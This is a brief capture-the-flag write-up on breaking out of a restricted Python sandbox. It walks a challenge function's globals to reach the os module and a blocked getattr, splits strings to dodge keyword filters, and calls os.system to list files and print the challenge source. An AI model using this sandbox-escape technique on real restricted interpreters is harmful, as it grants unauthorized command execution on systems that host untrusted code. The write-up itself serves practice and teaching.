We were given a function called `get_flag()`, which provided the right parameter should return the flag.From the challenge's name we could deduce that we could get the flag through reflection, and since the function's object was available, I guess we were suppose to access it in someway that would reveal the right parameter to pass to `get_flag()` in order to get the flag.We solved it in a different way, using the function as a object to get some modules it uses.
Out mission is to get the `os.system` function, but `get_flag()` doesn't import it, so we'll take the long way:```>>> ops = get_flag.func_globals['sy'+'s'].modules['o'+'s']  # Get the "os" module>>> gtattr = get_flag.func_globals['getatt' + 'r']  # Since "getattr" is blocked, we need to get it from "get_flag">>> stm = gtattr(ops, 's' + 'ystem')  # Get the "os.system" function>>> stm('ls')problem.pywrapper0>>> stm('cat problem.py')```
After we print out the file's content, we can see the flag comparison in the `get_flag()` function which was encoded in python-brainfuck, throw it to a python interpeter and get the flag.